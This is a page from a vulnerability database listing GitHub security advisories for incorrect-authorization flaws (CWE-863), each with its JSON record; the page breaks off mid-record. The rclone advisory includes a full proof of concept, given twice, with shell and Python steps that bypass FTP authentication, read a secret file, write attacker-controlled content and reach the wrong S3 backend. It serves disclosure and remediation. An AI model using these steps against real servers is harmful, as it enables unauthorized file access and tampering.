Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7172 vulnerabilities reference this CWE, most recent first.

GHSA-P4Q7-3J6P-6GV6

Vulnerability from github – Published: 2025-01-14 18:32 – Updated: 2025-01-14 18:32
VLAI
Details

On-Premises Data Gateway Information Disclosure Vulnerability

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T18:16:04Z",
    "severity": "MODERATE"
  },
  "details": "On-Premises Data Gateway Information Disclosure Vulnerability",
  "id": "GHSA-p4q7-3j6p-6gv6",
  "modified": "2025-01-14T18:32:06Z",
  "published": "2025-01-14T18:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21403"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21403"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P4X4-2R7F-WJXG

Vulnerability from github – Published: 2026-04-01 00:02 – Updated: 2026-04-28 18:16
VLAI
Summary
OpenClaw gateway exec allow-always over-trusts positional carrier executables
Details

Summary

Allow-always persistence could trust wrapper carrier executables instead of the actual invoked target when commands were routed through dispatch wrappers.

Impact

A one-time approval could persist a broader future allowlist entry than the operator intended, weakening execution approval boundaries.

Affected Component

src/infra/exec-approvals-allowlist.ts

Fixed Versions

  • Affected: <= 2026.3.24
  • Patched: >= 2026.3.28
  • Latest stable 2026.3.28 contains the fix.

Fix

Fixed by commit 9ec44fad39 (Exec approvals: reject wrapper carrier allow-always targets).

Severity
7.3 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T00:02:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAllow-always persistence could trust wrapper carrier executables instead of the actual invoked target when commands were routed through dispatch wrappers.\n\n## Impact\n\nA one-time approval could persist a broader future allowlist entry than the operator intended, weakening execution approval boundaries.\n\n## Affected Component\n\n`src/infra/exec-approvals-allowlist.ts`\n\n## Fixed Versions\n\n- Affected: `\u003c= 2026.3.24`\n- Patched: `\u003e= 2026.3.28`\n- Latest stable `2026.3.28` contains the fix.\n\n## Fix\n\nFixed by commit `9ec44fad39` (`Exec approvals: reject wrapper carrier allow-always targets`).",
  "id": "GHSA-p4x4-2r7f-wjxg",
  "modified": "2026-04-28T18:16:15Z",
  "published": "2026-04-01T00:02:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-p4x4-2r7f-wjxg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/9ec44fad390f0bc1c29c3cc418b322560cb0222b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw gateway exec allow-always over-trusts positional carrier executables"
}

GHSA-P54F-88C4-RHQC

Vulnerability from github – Published: 2025-05-13 21:30 – Updated: 2025-05-13 21:30
VLAI
Details

ColdFusion versions 2025.1, 2023.13, 2021.19 and earlier are affected by an Improper Access Control vulnerability that could result in arbitrary file system read. An attacker could leverage this vulnerability to access or modify sensitive data without proper authorization. Exploitation of this issue does not require user interaction.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-43564"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-13T21:16:16Z",
    "severity": "CRITICAL"
  },
  "details": "ColdFusion versions 2025.1, 2023.13, 2021.19 and earlier are affected by an Improper Access Control vulnerability that could result in arbitrary file system read. An attacker could leverage this vulnerability to access or modify sensitive data without proper authorization. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-p54f-88c4-rhqc",
  "modified": "2025-05-13T21:30:57Z",
  "published": "2025-05-13T21:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43564"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb25-52.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P569-5GJG-9CMJ

Vulnerability from github – Published: 2026-09-10 22:47 – Updated: 2026-09-10 22:47
VLAI
Summary
rclone: RC per-server auth-proxy bypass
Details

Summary

serve/start accepts protocol options in a per-server proxyOpt object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global proxy.Opt.AuthProxy instead of the supplied proxyOpt.AuthProxy.

When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username anonymous with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an auth_key, any holder of that key reaches the fixed RC fs instead of the backend selected by the auth proxy.

The S3 no-auth_key mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.

Confirmed affected versions are v1.70.0 through v1.75.0, plus development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.

Affected Assets & Attack Surface

  • cmd/serve/rc.go:68-93 documents nested per-server proxyOpt support, including AuthProxy.
  • cmd/serve/rc.go:111-148 resolves the fixed fs and invokes the selected per-protocol RC constructor.
  • cmd/serve/ftp/ftp.go:96-116 parses the request-local proxyOpt and passes it to newServer.
  • cmd/serve/ftp/ftp.go:186-207 checks proxy.Opt.AuthProxy at line 202 instead of proxyOpt.AuthProxy; the false branch creates globalVFS from the RC-supplied filesystem.
  • cmd/serve/ftp/ftp.go:54-60 defines the fallback credentials as user anonymous and an empty password.
  • cmd/serve/ftp/ftp.go:318-349 accepts any password when the configured fallback password is empty.
  • cmd/serve/s3/s3.go:76-96 parses and passes the request-local S3 proxy options.
  • cmd/serve/s3/server.go:67-101 checks proxy.Opt.AuthProxy at line 91 and otherwise exposes the fixed VFS. S3 authentication through AuthKey remains separate from proxy-based backend selection.
  • Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends.
  • Configuration attack surface: rclone rc serve/start ... proxyOpt='{"AuthProxy":"..."}' or the equivalent JSON request.

Technical Root Cause Analysis

The serve implementation has two option scopes:

  • proxy.Opt is process-global and is populated by command-line/global option parsing.
  • proxyOpt is a constructor argument populated from the individual serve/start request.

The RC adapters correctly create a local copy, apply the request parameters, and call newServer(..., &proxyOpt). Neither adapter mutates the global. The constructors then branch on the wrong value:

// Current FTP and S3 pattern
if proxy.Opt.AuthProxy != "" {
    // Uses proxyOpt only after the unrelated global check succeeds.
    serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)
} else {
    // Fail-open fixed-backend mode.
}

Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse proxyOpt, and the generic serve/start documentation gives proxyOpt.AuthProxy as an example.

For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured AuthKey. If no AuthKey is configured, anonymous S3 access is expected behavior and should not be cited as impact.

Proof of Concept & Evidence

The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.

Build the inspected revision, then prepare a fixed filesystem and rejecting proxy:

mkdir -p /tmp/rclone-rc-root
printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt
rm -f /tmp/rclone-auth-proxy-invoked

cat > /tmp/deny-rclone-proxy.sh <<'EOF'
#!/bin/sh
printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked
cat >/dev/null
exit 1
EOF
chmod 700 /tmp/deny-rclone-proxy.sh

Start RC on loopback in one terminal:

./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth

Start an FTP server with only the request-local auth proxy configured:

./rclone rc --url http://127.0.0.1:5572 \
  serve/start \
  type=ftp \
  fs=/tmp/rclone-rc-root \
  proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \
  opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'

Connect with the fallback credentials and exercise read and write access:

python3 - <<'PY'
import ftplib
import io

ftp = ftplib.FTP()
ftp.connect("127.0.0.1", 2121, timeout=5)
ftp.login("anonymous", "arbitrary-password")

data = bytearray()
ftp.retrbinary("RETR secret.txt", data.extend)
print(data.decode().strip())

ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n"))
ftp.quit()
PY

test ! -e /tmp/rclone-auth-proxy-invoked
grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

  • Login as anonymous succeeds with an arbitrary password.
  • secret.txt is returned from the fixed RC filesystem.
  • overwritten.txt is created in that filesystem.
  • The rejecting auth-proxy program is never invoked.

The equivalent automated network test, TestSecurityValidationRCPerServerAuthProxyFTP, called the actual serve/start RC handler, connected through github.com/jlaffaye/ftp, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:

=== RUN   TestSecurityValidationRCPerServerAuthProxyFTP
--- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)

Authenticated S3 backend-routing reproduction

This validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:

mkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket
printf 'fixed-backend-secret\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt
printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt

cat > /tmp/rclone-s3-route-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys

json.load(sys.stdin)
print(json.dumps({"type": "local", "_root": "/tmp/rclone-s3-proxy"}))
PY
chmod 700 /tmp/rclone-s3-route-proxy.py

Using the same loopback RC process, start an authenticated S3 server:

./rclone rc --url http://127.0.0.1:5572 serve/start --json '{
  "type": "s3",
  "fs": "/tmp/rclone-s3-fixed",
  "addr": "127.0.0.1:8080",
  "auth_key": ["validation-key,validation-secret"],
  "proxyOpt": {
    "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py"
  }
}'

Send a correctly signed S3 request:

AWS_ACCESS_KEY_ID=validation-key \
AWS_SECRET_ACCESS_KEY=validation-secret \
AWS_DEFAULT_REGION=us-east-1 \
aws --endpoint-url http://127.0.0.1:8080 \
  s3api get-object \
  --bucket bucket \
  --key fixed-secret.txt \
  /tmp/rclone-s3-result

grep -F fixed-backend-secret /tmp/rclone-s3-result

If the request-local proxy were active, fixed-secret.txt would not exist because the proxy selects /tmp/rclone-s3-proxy. Current code serves it from /tmp/rclone-s3-fixed. Conversely, a request for proxy-only.txt returns NoSuchKey.

The automated validation TestSecurityValidationRCPerServerAuthProxyS3Routing performed this sequence through the actual serve/start handler and a MinIO Signature V4 client. It used a valid AuthKey, fetched fixed-secret.txt, and confirmed that proxy-only.txt was absent:

=== RUN   TestSecurityValidationRCPerServerAuthProxyS3Routing
--- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)

This demonstrates backend-authorization bypass, not anonymous S3 access.

Impact Assessment

For RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to serve/start, subject only to VFS options such as read_only. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.

For RC-started S3 servers that combine auth_key with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as fs and on the fixed filesystem's VFS permissions.

Exploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.

Remediation Guidance

Change the mode checks in both constructors to use the option object passed to that server:

if proxyOpt != nil && proxyOpt.AuthProxy != "" {
    d.proxy = proxy.New(ctx, proxyOpt, vfsOpt)
    // Do not create a fixed/global VFS in this mode.
} else {
    d.globalVFS = vfs.New(ctx, f, vfsOpt)
}

Apply the equivalent change in cmd/serve/s3/server.go. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.

Also:

  • Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back.
  • In S3, make the “allowing anonymous access” log conditional on both the absence of AuthKey and the absence of an active auth proxy, so the log reflects the effective mode.
  • Add RC integration tests for FTP and S3 with global proxy.Opt.AuthProxy empty and nested proxyOpt.AuthProxy non-empty.
  • In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked.
  • In the S3 test, configure AuthKey, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC fs.
  • Add a multi-server test proving that two simultaneous serve/start instances can use different proxy settings without consulting or mutating global state.
  • Audit other serve.AddRc implementations for the same pattern: parsing a request-local option but branching on its global counterpart.
Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.70.0"
            },
            {
              "fixed": "1.75.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T22:47:10Z",
    "nvd_published_at": "2026-09-10T17:17:08Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`.\n\nWhen the process-global option is empty\u2014the normal case when only the RC request configures the server\u2014the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an `auth_key`, any holder of that key reaches the fixed RC `fs` instead of the backend selected by the auth proxy.\n\nThe S3 no-`auth_key` mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled.\n\nConfirmed affected versions are `v1.70.0` through `v1.75.0`, plus development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/rc.go:68-93` documents nested per-server `proxyOpt` support, including `AuthProxy`.\n- `cmd/serve/rc.go:111-148` resolves the fixed `fs` and invokes the selected per-protocol RC constructor.\n- `cmd/serve/ftp/ftp.go:96-116` parses the request-local `proxyOpt` and passes it to `newServer`.\n- `cmd/serve/ftp/ftp.go:186-207` checks `proxy.Opt.AuthProxy` at line 202 instead of `proxyOpt.AuthProxy`; the false branch creates `globalVFS` from the RC-supplied filesystem.\n- `cmd/serve/ftp/ftp.go:54-60` defines the fallback credentials as user `anonymous` and an empty password.\n- `cmd/serve/ftp/ftp.go:318-349` accepts any password when the configured fallback password is empty.\n- `cmd/serve/s3/s3.go:76-96` parses and passes the request-local S3 proxy options.\n- `cmd/serve/s3/server.go:67-101` checks `proxy.Opt.AuthProxy` at line 91 and otherwise exposes the fixed VFS. S3 authentication through `AuthKey` remains separate from proxy-based backend selection.\n- Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends.\n- Configuration attack surface: `rclone rc serve/start ... proxyOpt=\u0027{\"AuthProxy\":\"...\"}\u0027` or the equivalent JSON request.\n\n## Technical Root Cause Analysis\n\nThe serve implementation has two option scopes:\n\n- `proxy.Opt` is process-global and is populated by command-line/global option parsing.\n- `proxyOpt` is a constructor argument populated from the individual `serve/start` request.\n\nThe RC adapters correctly create a local copy, apply the request parameters, and call `newServer(..., \u0026proxyOpt)`. Neither adapter mutates the global. The constructors then branch on the wrong value:\n\n```go\n// Current FTP and S3 pattern\nif proxy.Opt.AuthProxy != \"\" {\n    // Uses proxyOpt only after the unrelated global check succeeds.\n    serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)\n} else {\n    // Fail-open fixed-backend mode.\n}\n```\n\nConsequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse `proxyOpt`, and the generic `serve/start` documentation gives `proxyOpt.AuthProxy` as an example.\n\nFor FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy\u0027s backend decision, but it does not independently bypass a configured `AuthKey`. If no `AuthKey` is configured, anonymous S3 access is expected behavior and should not be cited as impact.\n\n## Proof of Concept \u0026 Evidence\n\nThe following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.\n\nBuild the inspected revision, then prepare a fixed filesystem and rejecting proxy:\n\n```sh\nmkdir -p /tmp/rclone-rc-root\nprintf \u0027fixed-backend-secret\\n\u0027 \u003e /tmp/rclone-rc-root/secret.txt\nrm -f /tmp/rclone-auth-proxy-invoked\n\ncat \u003e /tmp/deny-rclone-proxy.sh \u003c\u003c\u0027EOF\u0027\n#!/bin/sh\nprintf \u0027invoked\\n\u0027 \u003e\u003e /tmp/rclone-auth-proxy-invoked\ncat \u003e/dev/null\nexit 1\nEOF\nchmod 700 /tmp/deny-rclone-proxy.sh\n```\n\nStart RC on loopback in one terminal:\n\n```sh\n./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth\n```\n\nStart an FTP server with only the request-local auth proxy configured:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 \\\n  serve/start \\\n  type=ftp \\\n  fs=/tmp/rclone-rc-root \\\n  proxyOpt=\u0027{\"AuthProxy\":\"/tmp/deny-rclone-proxy.sh\"}\u0027 \\\n  opt=\u0027{\"ListenAddr\":\"127.0.0.1:2121\",\"PassivePorts\":\"30000-30010\"}\u0027\n```\n\nConnect with the fallback credentials and exercise read and write access:\n\n```sh\npython3 - \u003c\u003c\u0027PY\u0027\nimport ftplib\nimport io\n\nftp = ftplib.FTP()\nftp.connect(\"127.0.0.1\", 2121, timeout=5)\nftp.login(\"anonymous\", \"arbitrary-password\")\n\ndata = bytearray()\nftp.retrbinary(\"RETR secret.txt\", data.extend)\nprint(data.decode().strip())\n\nftp.storbinary(\"STOR overwritten.txt\", io.BytesIO(b\"attacker-controlled\\n\"))\nftp.quit()\nPY\n\ntest ! -e /tmp/rclone-auth-proxy-invoked\ngrep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Login as `anonymous` succeeds with an arbitrary password.\n- `secret.txt` is returned from the fixed RC filesystem.\n- `overwritten.txt` is created in that filesystem.\n- The rejecting auth-proxy program is never invoked.\n\nThe equivalent automated network test, `TestSecurityValidationRCPerServerAuthProxyFTP`, called the actual `serve/start` RC handler, connected through `github.com/jlaffaye/ftp`, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyFTP\n--- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)\n```\n\n### Authenticated S3 backend-routing reproduction\n\nThis validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:\n\n```sh\nmkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket\nprintf \u0027fixed-backend-secret\\n\u0027 \u003e /tmp/rclone-s3-fixed/bucket/fixed-secret.txt\nprintf \u0027proxy-backend-only\\n\u0027 \u003e /tmp/rclone-s3-proxy/bucket/proxy-only.txt\n\ncat \u003e /tmp/rclone-s3-route-proxy.py \u003c\u003c\u0027PY\u0027\n#!/usr/bin/env python3\nimport json\nimport sys\n\njson.load(sys.stdin)\nprint(json.dumps({\"type\": \"local\", \"_root\": \"/tmp/rclone-s3-proxy\"}))\nPY\nchmod 700 /tmp/rclone-s3-route-proxy.py\n```\n\nUsing the same loopback RC process, start an authenticated S3 server:\n\n```sh\n./rclone rc --url http://127.0.0.1:5572 serve/start --json \u0027{\n  \"type\": \"s3\",\n  \"fs\": \"/tmp/rclone-s3-fixed\",\n  \"addr\": \"127.0.0.1:8080\",\n  \"auth_key\": [\"validation-key,validation-secret\"],\n  \"proxyOpt\": {\n    \"AuthProxy\": \"python3 /tmp/rclone-s3-route-proxy.py\"\n  }\n}\u0027\n```\n\nSend a correctly signed S3 request:\n\n```sh\nAWS_ACCESS_KEY_ID=validation-key \\\nAWS_SECRET_ACCESS_KEY=validation-secret \\\nAWS_DEFAULT_REGION=us-east-1 \\\naws --endpoint-url http://127.0.0.1:8080 \\\n  s3api get-object \\\n  --bucket bucket \\\n  --key fixed-secret.txt \\\n  /tmp/rclone-s3-result\n\ngrep -F fixed-backend-secret /tmp/rclone-s3-result\n```\n\nIf the request-local proxy were active, `fixed-secret.txt` would not exist because the proxy selects `/tmp/rclone-s3-proxy`. Current code serves it from `/tmp/rclone-s3-fixed`. Conversely, a request for `proxy-only.txt` returns `NoSuchKey`.\n\nThe automated validation `TestSecurityValidationRCPerServerAuthProxyS3Routing` performed this sequence through the actual `serve/start` handler and a MinIO Signature V4 client. It used a valid `AuthKey`, fetched `fixed-secret.txt`, and confirmed that `proxy-only.txt` was absent:\n\n```text\n=== RUN   TestSecurityValidationRCPerServerAuthProxyS3Routing\n--- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)\n```\n\nThis demonstrates backend-authorization bypass, not anonymous S3 access.\n\n## Impact Assessment\n\nFor RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to `serve/start`, subject only to VFS options such as `read_only`. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.\n\nFor RC-started S3 servers that combine `auth_key` with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as `fs` and on the fixed filesystem\u0027s VFS permissions.\n\nExploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.\n\n## Remediation Guidance\n\nChange the mode checks in both constructors to use the option object passed to that server:\n\n```go\nif proxyOpt != nil \u0026\u0026 proxyOpt.AuthProxy != \"\" {\n    d.proxy = proxy.New(ctx, proxyOpt, vfsOpt)\n    // Do not create a fixed/global VFS in this mode.\n} else {\n    d.globalVFS = vfs.New(ctx, f, vfsOpt)\n}\n```\n\nApply the equivalent change in `cmd/serve/s3/server.go`. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.\n\nAlso:\n\n- Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back.\n- In S3, make the \u201callowing anonymous access\u201d log conditional on both the absence of `AuthKey` and the absence of an active auth proxy, so the log reflects the effective mode.\n- Add RC integration tests for FTP and S3 with global `proxy.Opt.AuthProxy` empty and nested `proxyOpt.AuthProxy` non-empty.\n- In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked.\n- In the S3 test, configure `AuthKey`, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC `fs`.\n- Add a multi-server test proving that two simultaneous `serve/start` instances can use different proxy settings without consulting or mutating global state.\n- Audit other `serve.AddRc` implementations for the same pattern: parsing a request-local option but branching on its global counterpart.",
  "id": "GHSA-p569-5gjg-9cmj",
  "modified": "2026-09-10T22:47:10Z",
  "published": "2026-09-10T22:47:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-p569-5gjg-9cmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88044"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/739403963abf6f58003c2becd5f7c4ad0d644153"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone: RC per-server auth-proxy bypass"
}

GHSA-P56G-X65G-WR86

Vulnerability from github – Published: 2026-06-23 18:31 – Updated: 2026-06-23 18:31
VLAI
Details

NanoClaw before 2.1.0 contains a privilege escalation vulnerability in the channel-registration approval flow where handleChannelApprovalResponse fails to validate admin privileges over target agent groups. Scoped admins can submit forged or stale connect callback values to wire messaging channels into out-of-scope agent groups, exposing unauthorized groups to unapproved channels and enabling unauthorized observation or control of restricted agent group activity.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56694"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-23T16:17:06Z",
    "severity": "MODERATE"
  },
  "details": "NanoClaw before 2.1.0 contains a privilege escalation vulnerability in the channel-registration approval flow where handleChannelApprovalResponse fails to validate admin privileges over target agent groups. Scoped admins can submit forged or stale connect callback values to wire messaging channels into out-of-scope agent groups, exposing unauthorized groups to unapproved channels and enabling unauthorized observation or control of restricted agent group activity.",
  "id": "GHSA-p56g-x65g-wr86",
  "modified": "2026-06-23T18:31:39Z",
  "published": "2026-06-23T18:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56694"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nanocoai/nanoclaw/pull/2566"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nanocoai/nanoclaw/commit/0eef8fafdd7c475ab5fd8d37ea566a81e74cd834"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nanoclaw-privilege-escalation-via-forged-channel-approval-callback"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P56P-86P8-95G9

Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2022-05-24 17:26
VLAI
Details

Huawei 5G Mobile WiFi E6878-370 with versions of 10.0.3.1(H563SP1C00),10.0.3.1(H563SP21C233) have an improper authorization vulnerability. The device does not restrict certain data received from WAN port. Successful exploit could allow an attacker at WAN side to manage certain service of the device.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-9241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-17T16:15:00Z",
